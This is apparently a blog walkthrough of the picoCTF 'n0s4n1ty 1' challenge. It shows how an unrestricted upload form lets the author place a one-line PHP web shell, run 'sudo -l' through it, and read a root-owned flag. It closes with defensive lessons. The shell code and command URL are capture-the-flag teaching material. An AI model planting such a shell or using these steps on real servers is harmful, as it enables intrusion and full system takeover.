n0s4n1ty 1 PicoCTF Walkthrough


Web Exploitation
🔎 Initial Recon
The challenge gives us access to a web page that allows users to upload a profile picture. This is a classic entry point for file upload vulnerabilities. Here's what I did:
Navigated to the site and saw a form titled
Upload Profile Picture
.Tried uploading a basic
.
jiff image to see what the server does with the file
✅ Observations:
The image is now uploaded to server andf the server accepts any file with any extension and saves it in a web-accessible folder, we might be able to upload and run a malicious script, such as a PHP webshell.
🐚 Step 1: Crafting the Web Shell
To test for Remote Code Execution (RCE), I created a simple PHP shell named shell.php
with the following content:
<?php system($_GET['cmd']); ?>
📤 Step 2: Uploading the Shell
Uploaded
shell.php
via the profile picture form.After upload, it appeared at:
Lets try is it working or not
BAmmm ! Out script is now working
🔐 Step 3: Privilege Escalation
The next step was to check what commands the www-data
user could run with sudo
. I ran:
http://standard-pizzas.picoctf.net:60582/uploads/shell.php?cmd=sudo -l
www-data
user can run any command as root without providing a password. That’s a critical misconfiguration!
🧾Step 4: Reading the Flag
As it is given flag is in /root now lets gets its content using ls command
Here is our flag.txt and now lets read it using cat
🎉🎉Here we got our flag
🧠 Lessons Learned
🧩 Vulnerability | Description |
Insecure File Upload | No filtering, no validation on file types or extensions. |
Web-Accessible Upload Directory | Files stored in /uploads/ directly accessible via browser. |
PHP Execution Enabled | .php files were executed server-side, allowing command injection. |
Misconfigured sudo | www-data could run any command as root without a password. |
🔚 Conclusion
This challenge was a classic example of chaining two common vulnerabilities:
Insecure File Upload (RCE via webshell)
Privilege Escalation (via misconfigured
sudo
permissions)
It teaches the importance of:
Validating file types and extensions
Avoiding direct access to upload directories
Using minimal privileges for web server users
Strictly configuring
sudo
access
Subscribe to my newsletter
Read articles from Furkan Sayyed directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by
